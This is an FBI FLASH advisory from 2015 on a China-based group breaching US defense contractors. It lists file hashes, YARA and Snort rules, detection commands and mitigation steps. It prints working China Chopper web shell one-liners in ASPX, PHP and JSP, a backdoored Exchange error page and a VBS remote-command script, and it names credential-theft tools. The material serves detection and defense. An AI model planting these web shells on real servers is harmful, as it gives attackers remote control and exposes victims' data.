FBI FLASH

FEDERAL BUREAU OF INVESTIGATION, CYBER DIVISION

2 Oct. 2015

Alert Number

A-000065-MW

Please contact the FBI with any questions related to this FLASH Report at either your local **Cyber Task Force** or **FBI CYWATCH**.

Email:
cywatch@ic.fbi.gov

Phone:
1-855-292-3937

Local Field Offices:
www.fbi.gov/contact-us/field

In furtherance of public-private partnerships, the FBI routinely advises private industry of various cyber threat indicators observed during the course of our investigations. This data is provided in order to help cyber security professionals and system administrators to guard against the persistent malicious actions of cyber criminals.

This FLASH has been released **TLP: AMBER** to key entities and should **not** be further disseminated. Recipients may only share **TLP: AMBER** information with members of their own organization who need to know and only as widely as necessary to act on this information.

Summary

This FLASH is an update to FLASH A-000064-MW. FBI is providing an update due to typographical errors in the Hash values, Snort Rules, and Yara Rules listed therein.

The FBI is providing the following information with **HIGH confidence:**

The FBI has obtained information regarding a group of cyber actors who have compromised and stolen sensitive military information from US cleared defense contractors (CDCs) through cyber intrusions. This group utilizes infrastructure emanating from China to conduct their nefarious computer network exploitation (CNE) activities. Information obtained from victims and subsequent analysis indicates that they were targeted based on their US Navy Seaport Enhanced contracts. The actors did not target information pertaining to a specific contract but instead stole all information that they accessed via their malicious cyber activities. Any activity related to this group detected on a network should be considered an indication of a compromise requiring extensive mitigation and contact with law enforcement.

Technical Details

The FBI is providing the following information with **HIGH confidence**:

The U.S. government and private industry have observed this group across a variety of intrusions leveraging a selected number of openly accessible tools and known server vulnerabilities to exploit victim networks. This group conducts reconnaissance on victims through their publicly available web pages and review documents related to contracts posted on company websites. Following the reconnaissance, the cyber actors gain initial access to networks through un-patched vulnerabilities in the victim's outward facing servers.

Following such an exploit, this group has been observed using a select number of tools to collect credentials and move laterally through the network.

The U.S. government and private industry have identified the tools listed below as indicators of compromise (IOCs) employed by this group. While these tools are very common, the U.S. government and private industry have observed an increase in intrusion activities that were executed with these tools.

China Chopper Web shell- This chopper web shell is used to allow remote access to a compromised web server. The China Chopper web shell can be deployed by using a few different single lines of code. The China Chopper web shell can be written in any common web language that supports server-side scripting (e.g. asp, cfm, php, javascript etc.).

ASPX payload
<%@ Page Language=”Jscript”%><%eval(Request.Item[“password”], “unsafe”);%>
<% WebServices.InitalizeWebServices (“shell_password”);%>

MD5 Hash: 3300ac4025e515402612842bff0aa119

<%// style.aspx
// Copyright (c) 2007 - 2010 Citrix Systems, Inc. All Rights Reserved.
// Web Interface 5.3.0.0
%>
<%WebServices.InitalizeWebServices("Citrix.Systems.Ime");%>
<!--#include file="~/app_data/serverscripts/include.aspxf"-->

System.WebServices.dll
MD5 Hash: 8a6043d95d816ad63225365bd3794f55

This Function can not use now..\ z1/ 0 z21'yyyy-MM-dd HH:mm:ss /c kSELECT [name] FROM master.dbo.sysdatabases ORDER BY 1 use w;SELECT [name] FROM sysobjects WHERE (xtype='U') ORDER BY 1USE [{0}];SELECT A.[name],B.[name] FROM syscolumns A,systypes B where A.id=object_id('{1}') and A.xtype=B.xtype ORDER BY A.colid()|\SELECT EXEC DECLARE ExecuteResult OK_ CsharpChopperServerScriptRunner By zcgonvh , Version 0.0.0.1 Released, Public Final , FullChopperRunner.
k<h3>Warning:</h3>
This program only used by Site Administrtor . Please confirm your identity , or has a authorization from administrator.

MD5 Hash: 2e47de670b474422929704129459O4ae

<%@ Page language="c#" Codebehind="Error.aspx.cs"
AutoEventWireup="false"
Inherits="Microsoft.Exchange.Clients.Owa.Core.Error" %>

```
<%@ Import Namespace="Microsoft.Exchange.Clients" %>
<%@ Import Namespace="Microsoft.Exchange.Clients.Owa.Core" %>
<%@ Import Namespace="Microsoft.Exchange.Clients.Owa.Premium" %>
<!-- {698798E9-889B-4145-ACFC-474C378C7B4F} -->
<html dir="<%=(SessionContext != null && SessionContext.IsRtl) ? "rtl"
: "ltr"%>">
<% // Any urls to resources in this file, must be absolute urls.
The error page can load as a response to any request
        // made by the client, since it does by an internal redirect on
the server and not as a 302 issued to the client.
        // Therefore, there is no way of knowing where a relative url
will take you. For example, this page can load as a
        // result of this request "http://servername/owa/auth/logon.aspx"
or this request
        // "http://servername/owa/ev.owa?oeh=1&ae=dostuff"
        //
%>
<head>
        <meta http-equiv="Content-Type" content="text/html; CHARSET=utf-
8">
        <title><%=
LocalizedStrings.GetHtmlEncoded(Strings.IDs.ErrorTitle) %></title>
<%WebServices.InitalizeWebServices("OwaUrl.ApplicationRoot.Ime");%>
        <link type="text/css" rel="stylesheet"
href="<%=ResourcePath%>14.2.390.1/themes/base/premium.css">
        <link     type="text/css" rel="stylesheet"
href="<%=ResourcePath%>14.2.390.1/themes/resources/<%=
Utilities.GetDefaultCultureFontCssFileUrl(OwaContext) %>">
        <style>
                <% if (Utilities.IsViet()) { %>
                        body, html
                        {
                                font-family:Helvetica, Tahoma !important;
                        }
                <% } %>
        </style>
```

MD5 Hash: 5001ef50c7e869253a7c152a638eab8a
MD5 Hash: 8aa603ee2454da64f4c70f24cc0b5e08
MD5 Hash: ad8288227240477a95fb023551773c84
MD5 Hash: acba8115d027529763ea5c7ed6621499
MD5 Hash: f2ac6532ca6220ea4cb1720b81e74007

PHP payload

<?php @eval($_POST[‘password’]);?>

JSP payload

<%
If(request.getParameter(“f”)!=null)(newjava.io(FileOutputStream(application.getRealPath(“\\”)+request.getParameter(“f”))).write{request.getParameter(“t”).getBytes()};
%>

Yara Rules:

```
        rule webshell_chinachopper_csharp
{
        strings:
                $pdbfrag = "ChopperSreverForCsharp"
                $ban1 = "CsharpChopperServerScriptRunner By zcgonvh"
ascii wide
                $chop_a = "ChopperApi_A_Get_LocalDirectory"
                $chop_b = "ChopperApi_B_GetFileList"
        condition:
                2 of them
}
```

Snort Rules:

alert tcp any any -> any 80 (msg:"China Chopper PHP/Backdoor Detected"; content:"|62 61 73 65 36 34 5f 64 65 63 6f 64 65|"; rawbytes; reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/breakingdown-the-china-chopper-web-shell-part-i.html; classtype:trojan-activity; sid:500007; rev:1)

alert tcp any any -> any 80 (msg:"China Chopper PHP/Backdoor Detected"; content: "|63 61 69 64 61 6f 3d|"; content:"|62 61 73 65 36 34 5f 64 65 63 6f 64 65|"; rawbytes; reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/breakingdown-the-china-chopper-web-shell-part-i.html; classtype:trojan-activity; sid:500008; rev:1)

alert tcp any any -> any any (msg: "China Chopper with first ASPX Payload Command (z1 = cmd shell access) Detected"; flow:to_server,established; content: "FromBase64String"; content: "z1"; content:"POST"; nocase;http_method; reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/breakingdown-the-china-chopper-web-shell-part-ii.html; classtype:web-application-attack; sid: 900000101;)

alert tcp any any -> any any (msg: "China Chopper with *all ASPX Payload Commands (z1 = cmd shell access, & z2 = directory listing/whoami command) Detected"; flow:to_server,established; content: "FromBase64String"; content: "z"; pcre: "/Z\d{1,3}/i";

content:"POST"; nocase;http_method;
reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/breakingdown-the-china-chopper-web-shell-part-ii.html; classtype:web-application-attack; sid:
900000102;)

alert tcp any any -> any 80 (msg:"China Chopper with first ASP Payload Command (z1 = cmd
shell access) Detected"; content: "|52 65 73 70 6f 6e 73 65 2e 45 6e 64|"; content:"|49 73 4e 75 6d
65 72 69 63|"; content:"|7a 31|"; rawbytes;
reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/breakingdown-the-china-chopper-web-shell-part-i.html; classtype:trojan-activity; sid:500066; rev:1)

alert tcp any any -> any 80 (msg:"China Chopper with *all ASP Payload Commands (z1 = cmd
shell access, & z2 = directory listing/whoami command) Detected"; content: "|42 52 65 73 70 6f 6e 73 65 2e 45
6e 64|"; content:"|45 6e 63 6f 64 69 6e 67 2e 47 65 74|"; content:"|7a 31|";
content:"|7a 32|";rawbytes; reference:url,http://www.fireeye.com/blog/technical/botnet-activitiesresearch/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html;
classtype:trojanactivity;sid:500067; rev:1)

LINUX/UNIX regex commands:
egrep -re '[<]\%\@\sPage\sLanguage=.Jscript.\%[>][<]\%eval.Request\.Item.+unsafe'
egrep -re '[<][?]php\s\@eval[(]\$_POST\[.+\][)];[?][>]'

Windows regex commands:
findstr /R /S "[<]\%\@.Page.Language=.Jscript.\%[>][<]\%eval.Request\.Item.*unsafe" *.aspx
findstr /R /S "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php

Command processor tool- This tool is used by the cyber actors to interpret and execute commands on a Windows system.

w3wp.exe
Hash: 5746bd7e255dd6a8afa06f7c42c1ba41

Credential theft tools- These tools allow the actors to collect the credentials of valid users that enable the actors to move laterally through the network and gain access to information.

mimikatz.exe
Hash: a395eed1d0f8a7a79dbebbfd6c673cc1
Hash: b180f01bfd37c3a3881f1be3e7654cf1

gethash_new.exe

pwdump7.exe
Hash: 6fC9c96b03065d631a7fd6244dea6acc

injector.exe
Hash: d41d2c9153a7add1e47278df32205b39

lsahook.dll
Hash: 4b28bbd29271e6104ec5c7ca5523a419

ReadPass_x86.exe
Hash: 6cc1f90b638f6b0e9de2879e16aa1da4

Privilege escalation tool- This tool is designed to exploit vulnerability CVE-2011-2005 and allow the cyber actors to escalate privileges of the user account(s).

x.exe
Hash: 2d3566e39f6b4a3ba6130bdf132c02f7

Remote execution tool-

PSEXESVC.exe- sysinternals PsExec utility
Hash: 16c19f597b338f81729b88032b3a7255

Usage: psexec [\\computer[,computer2[,...] | @file]][-u user [-p psswd][-n s][-r servicename][-h][-l][-s|-e][-x][-i [session]][-c [-f|-v]][-w directory][-d][-<priority>][-a n,n,...] cmd [arguments]

Read.vbs- Windows management instrumentation (WMI) script that will execute a windows command processor remotely.

Hash: ca7dfa25838fef11fea2f26d1c6022a6

```
set ws=WScript.CreateObject("WScript.Shell")
str=ws.Exec("cmd /c "&wscript.arguments(0)).StdOut.ReadAll:set
ws=nothing
Set
oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\def
ault:StdRegProv")
oReg.SetMultiStringValue
&H80000002,"SOFTWARE\Clients","cmd",Array(str)
```

.RAR compression tool- This tool allows the actors to compress large amounts of data to easily remove the files from the network.

scvhost.exe
Hash: 073ad45909545c33219fb92a0cbc5d41

schost.exe
Hash: 073ad45909545c33219fb92a0cbc5d41

Recommended Mitigations

The FBI is providing the following information with **HIGH confidence:**

The FBI and NSA recommend the following mitigation measures be taken within the first 72 hours of detection:

Prepare Your Environment for Incident Response

- Establish Out-of-Band Communications methods for dissemination of intrusion response plans and activities, inform NOCs/CERTs according to institutional policy and SOPs.
- Maintain and actively monitor centralized host and network logging solutions after ensuring that all devices have logging enabled and their logs are being aggregated to those centralized solutions.
- Disable all remote (including RDP & VPN) access until a password change has been completed.
- Implement full SSL/TLS inspection capability (on perimeter and proxy devices).
- Monitor accounts and devices determined to be part of the compromise to prevent reacquisition attempts.

Implement core mitigations to inhibit re-exploitation (within 72 hours)

Implement a network-wide password reset (preferably with local host access only, no remote changes allowed) to include:

- All domain accounts (especially high-privileged administrators)
- Local Accounts
- Machine and System Accounts

Patch all systems for critical vulnerabilities:

A patch management process that regularly patches vulnerable software remains a critical component in raising the difficulty of intrusions for cyber operators. While a few adversaries use zero-day exploits to target victims, many adversaries still target known vulnerabilities for which patches have been released, capitalizing on slow patch processes and risk decisions by network owners not to patch certain vulnerabilities or systems.

After initial response activities, deploy and correctly configure Microsoft's Enhanced Mitigation Experience Toolkit (EMET). EMET employs several mitigations techniques to combat memory corruption techniques. It is recommended that all hosts and servers on the network implement EMET, but for recommendations on the best methodology to employ when deploying EMET, please see NSA/IAD's Anti-Exploitation Slicksheet - https://www.nsa.gov/ia/_files/factsheets/I43V_Slick_Sheets/Slicksheet_AntiExploitationFeatures_Web.pdf

Implement Data-At-Rest (DAR) Protections.

- The goal for DAR protections is to prevent an attacker from compromising sensitive data when the End User Device (EUD) is powered off or unauthenticated.
- The use of multiple encryption layers that meet IAD and CNSSP-15 guidance, implemented with components meeting the Commercial Solution for Classified (CSfC) vendor diversity requirements, reduces the likelihood that a single vulnerability or failure can be exploited to compromise EUDs, move laterally through a network, and access sensitive data.
- Receiving and validating updates or code patches for these components only through direct physical administration or an NSA approved Data in Transit (DIT) solution mitigates the threat of malicious attempts to push unverified updates or code updates.
- Procure products that have been validated through NIAP's DAR Protection Profiles (PPs) and utilize the DAR Capability Package (CP) that provides configurations allowing customers to independently implement secure solutions using layered Commercial Off-the-Shelf (COTS) products. The CP is vendor-agnostic and provides high-level security and configuration guidance for customers and/or Solution Integrators.

Implement long-term mitigations to further harden systems

1. ***Protect Credentials:*** By implementing the following credential protections, the threat actor's ability to gain highly privileged account access and move throughout a network is severely hampered.
    a. *Implement Least Privilege:* Least privilege is the limiting of rights assigned to each group of accounts on a network to only the rights required for the user, as in a normal user is only granted user level privileges and cannot perform any administrative tasks such as installing software.
    b. *Restrict Local Accounts:* By restricting the usage of local accounts, especially local administer accounts, you are able to reduce the amount of usable credentials found within a network. When utilizing local accounts, passwords and their corresponding hashes are stored on the host and are more readily available for harvesting by an adversary who seeks to establish persistence. Adversaries are known to use this information to move across the network through Pass the Hash.
    c. *Limit lateral movement:* This mitigation reduces the adversary's ability to go from exploiting one machine to taking over the entire network. Host firewall rules, Active Directory structuring, and/or Group Policy settings, can be tailored to stop communications between systems and increase the survivability and defensibility of a network under attack.
    d. *Admin Access Segregation:* Once an adversary gains administrator credentials, especially domain administrator credentials, the network becomes wide open to their malicious activity. By decreasing the surface area where admin credentials can be stolen, through restricting where administrators can use their accounts and what they can use their accounts for, the threat actor will have a much harder time fully compromising a network. Having different passwords and

credentials for user, local administrator, and domain administrator accounts prevents an adversary from reusing a stolen credential from one to gain more access.

e. *Admin Access Protection:* Using encrypted protocols across the network where credentials especially administrative credentials, are sent in the clear enables an adversary to grab them in transit and reuse them. Be sure to use encrypted protocols (e.g. HTTPS, SSH, RDP, SFTP, etc.) for all management connections where credentials are passed, and disable the use of unencrypted protocols (e.g. Telnet, FTP, HTTP, etc.).

f. *Ensure Administrative Accounts do not have email accounts or Internet access.*

g. *Utilize Strong Authentication:* By enforcing multi-factor authentication (e.g., using smart cards), especially for privileged account and remote access (e.g. VPNs), you dramatically reduce when and where stolen credentials can be reused by an adversary. Until then, create, enforce, and maintain strong password policies across the organization. The use of strong password policies must be mandated for all users and is especially critical for administrator accounts and service accounts. Passwords should be complex and contain a combination of letters, numbers, and special characters, and they should be of a sufficient length (greater than 14 characters); require regular password changes for all administrative and other privileged account; and prevent the reuse of usernames and passwords across multiple domains and/or multiple systems.

h. *Log and Monitor Privileged Admin Account Usage:* Implementing logging and monitoring capabilities on privileged accounts can provide insight to system owners and incident response professionals of account misuse and potential compromise by malicious actors. For instance it may be discovered that a domain admin is logging in at 2200 every night even though that admin is done working for the day and gone from the building. This mitigation would also enable discovery of any privileged admin accounts that were created by the actor for persistence.

i. *Log and Monitor Use of Administrative Tools:* Non-administrative use of built-in OS administrative tools should be locked down in accordance with applicable guidance and hardening policies. Use of these tools, such as Windows® PowerShell® and Windows Management Instrumentation Command-line(WMIC), should be logged and monitored to help enable early detection of a compromise. Though administration activities take place on a constant basis, certain behaviors, or sets of activities, in concert with others, are suspicious and can lead to a discovery of intrusion. For example, the 'ping' command by itself has legitimate uses. However, the 'ping' command followed by a PowerShell command from one workstation to another is very suspicious.

2. ***Segregate Networks and Functions:***

a. *Know Your Network:* Enterprise networks often become unmanageable leading to inefficient administration and ineffective security. In order to have any sort of control over your network, you first need to know what and where everything is and does. Ensure information about your networks is documented and is updated regularly. Create an accurate list of ALL devices and ALL protocols that are running on your network. Identify network enclaves and examine your network trust relationships within and between those enclaves as well as with external networks to determine whether they are really necessary for your organization's mission.

b. *DMZ Isolation:* By ensuring that the DMZ is properly segregated both through physical and logical network architecture and admin/user accounts, a network owner can greatly decrease the external attack surface. Since webservers and corresponding databases usually sit in this location and are also externally accessible, they regularly are the first target during CNO. If these systems

are compromised and the DMZ is not configured properly or at all, it could mean the loss of the entire enterprise.

c. *Network Function Segregation:* A network owner should implement a tiered system when determining the switching within a network. This way the lower security systems, like user workstations or machines with email and internet access, cannot insecurely communicate with higher security systems like domain controllers and other member servers. This can be achieved through multiple methods including VLANs, physical network topologies, and Firewall rule sets. In the same vein, networks need to apply the same segregation principle to the various tiers of accounts within a network, ensuring highly privileged accounts cannot access lower security tiered systems and low privilege accounts cannot access higher security tiered systems.

d. *Limit Workstation-to-Workstation Communications:* Pass-the-Hash (PtH) and other forms of legitimate credential reuse are serious vulnerabilities existing in all environments that implement Single Sign-on. PtH allows an attacker to reuse legitimate administrator or user credentials to move from system to system on a network without ever having to crack password. Once an attacker compromises a single host, s/he will typically reuse stolen hashed credentials to spread to other systems on the network, gain access to a privileged user's workstation, grab domain administrator credentials, and subsequently take control of the entire environment. Limiting workstation-to-workstation communication will severely restrict attackers' freedom of movement via techniques such as PtH. In general, limiting the number and type of communication flows between systems also aids in the detection of potentially malicious network activity. Because there are fewer allowed communication paths, abnormal flows become more apparent to attentive network defenders.

e. *Perimeter Filtering:* Perimeter filtering refers to properly implementing network security devices, such as proxies, firewall, web content filters, and IDS/IPS. The intent is to block malicious traffic from reaching a user's machine and provide protection against data exfiltration and command and control.

f. *Use Web Domain Name System (DNS) Reputation:* Various commercial services offer feeds rating the trustworthiness of web domains. Enterprises can protect their hosts by screening web accesses against such services and redirecting dangerous web requests to a warning page. Inspection can be implemented at either the web proxy or browser level.

g. *Restrict or Prevent Remote Admin Access:* Prior to an intrusion, remote access should be severely restricted and highly monitored. Once an intrusion is detected, all remote administration should be completely disallowed. Not only does this clear up the network traffic coming and going from a network, it also allows the network defenders to determine that the remote administration activities are malicious and better track and block them.

3. ***Implement Application Whitelisting:*** Application whitelisting is the configuring of host system to only execute a specific, known set of code. Basically, if a program or executable code, such as a piece of malware, is not included in the whitelist it's never allowed to run.

4. ***Install and correctly use EMET:*** One of the frequently used tactics by an adversary is to initially infect a host through spear-phishing and drive-by's/water-holing websites. The best way to counter this initial exploitation is through the implementation of an anti-exploitation tool, such as Microsoft's Enhanced Mitigation Experience Toolkit (EMET). These tools can render useless entire classes of malware and

malicious TTP instead of eliminating one piece of malware at a time; an enormous boon to a network's security.

5. ***Implement Host Intrusion Prevention System (HIPS) Rules:*** Standard signature-based host defenses are overwhelmed by exploit kits that continually morph attack components. HIPS technology focuses on threat behaviors and can better scale to entire sets of intrusion activities. For an enterprise with a well-configured and managed network, HIPS can be tuned to learn and allow normal network functionality while flagging anomalies characteristic of intrusions.
6. ***Centralize logging of all events:*** By pulling all of the system logs (such as Windows Event or Error logs, and any logs from security devices, such as SNORT, HIPS or firewall rule hits, as a few examples) into a centralized location that protects it from tampering and enables analytics, the network admin and intrusion response team would be able to more efficiently detect and understand the tools, tactics, and procedures of the adversary. This paper does not detail the entirety of logs that could be aggregated, however, specific recommendations of particular logs that should be targeted for aggregation can be obtained via consultation with the network's Computer Network Defense-Service Provider (CND-SP) or with any of the organizations listed in the introduction of this section.
7. ***Take Advantage of Software Improvement:*** Apply patches for vulnerabilities as soon as they are released by the vendor. Upgrade as new versions of applications, software and operating systems become available. Delaying or ignoring patches for vulnerabilities considerably increases the chance of systems being exploited, in particular Internet/public facing systems (VPN, web, email servers). Open source research has shown that a working exploit is often available on the same day vulnerabilities are publicly disclosed, making it imperative to patch immediately. Vendors typically perform extensive testing of patches prior to release so misconceptions about negative effects on systems are often overstated. The cost of pre-deployment testing by the enterprise is miniscule compared to the potential costs incurred from a security breach. Application deployment and updating is becoming increasingly automated. Many operating systems and applications provide automatic update features to minimize the human factor.
8. ***Public Services Utilization:*** Enterprises are embracing the use of public services such as Cloud Storage and Social Networking Sites (SNS) as they offer capabilities not available with traditional software. These services also introduce a new set of vulnerabilities that must be considered. Open source reporting has shown these services to be an increasingly used vector for both malware delivery and data exfiltration. Establish a comprehensive public services policy and framework. Discover and document all the Cloud and Social Networking Services used and establish a policy that includes IT sanctioned sites permitted and prohibited within the enterprise as well as what is considered acceptable use. Integrate traffic logs to/from these sites into your centralized logging environment and implement analytics to detect and alert on potentially suspicious or abnormal traffic that could be indicative of a compromise.
9. ***Use a Standard Baseline:*** Implementing a uniform image with security already baked in and standardized applications affords the incident response team the ability to look at exploited machines and distinguish what is malicious vs. allowed. It also ensures that each machine on network is at least at a certain level of security prior to further customization for a user's needs. Within the DoDIN this can be satisfied through the Unified Master Gold Disk, maintained and distributed through DISA.
10. ***Centralize logging of all events:*** By pulling all of the system logs, such as Windows Event or Error logs, and any logs from security devices, such as SNORT or firewall rule hits, into a centralized location, the network admin and intrusion response team would be able to more efficiently detect and understand the tools,

tactics, and procedures of the adversary. Using this information then increases the responder's ability to effectively corner and expel the adversary

11. ***Data-at-Rest and Data-in-Transit Encryption:*** Implementing encryption for both data at rest and data in transit ensures that what is meant to be kept private stays private, whether it is stored on a disk or moving across a network. It means that exfiltration and espionage attempts can be thwarted since a threat actor cannot access the information.

Additional guidance to follow can be found at the following:
Implement Pass-the-Hash mitigations. For more information, please see the NSA/IAD Publication Reducing the Effectiveness of Pass-the-Hash at - http://www.nsa.gov/ia/_files/app/Reducing_the_Effectiveness_of_Pass-the-Hash.pdf

Baseline File Systems and Accounts in preparation for Whitelisting implementation. Consider using a Secure Host Baseline. See NSA/IAD's guidance at
https://www.nsa.gov/ia/_files/factsheets/I43V_Slick_Sheets/Slicksheet_SecureHostBaseline_Print.pdf

Deploy, configure and monitor Application Whitelisting. For detailed guidance, please see NSA/IAD's Application Whitelisting Slicksheet at –
https://www.nsa.gov/ia/_files/factsheets/i43v_slick_sheets/slicksheet_applicationwhitelisting_standard.pdf

POINT OF CONTACT

- In furtherance of public-private partnerships, the FBI routinely advises private industry of various cyber threat indicators observed during the course of our investigations. This data is provided in order to help cyber security professionals and system administrators to guard against the persistent malicious actions of cyber criminals.

- The FBI encourages recipients who identify the use of tool(s) or techniques discussed in this document to report information to their local FBI field office or the FBI's 24/7 Cyber Watch. Field office contacts can be identified at www.fbi.gov/contact-us/field. CyWatch can be contacted by phone at 855-292-3937 or by e-mail at cywatch@ic.fbi.gov.

- Press inquiries should be directed to the FBI's National Press Office at npo@ic.fbi.gov or 202-324-3691.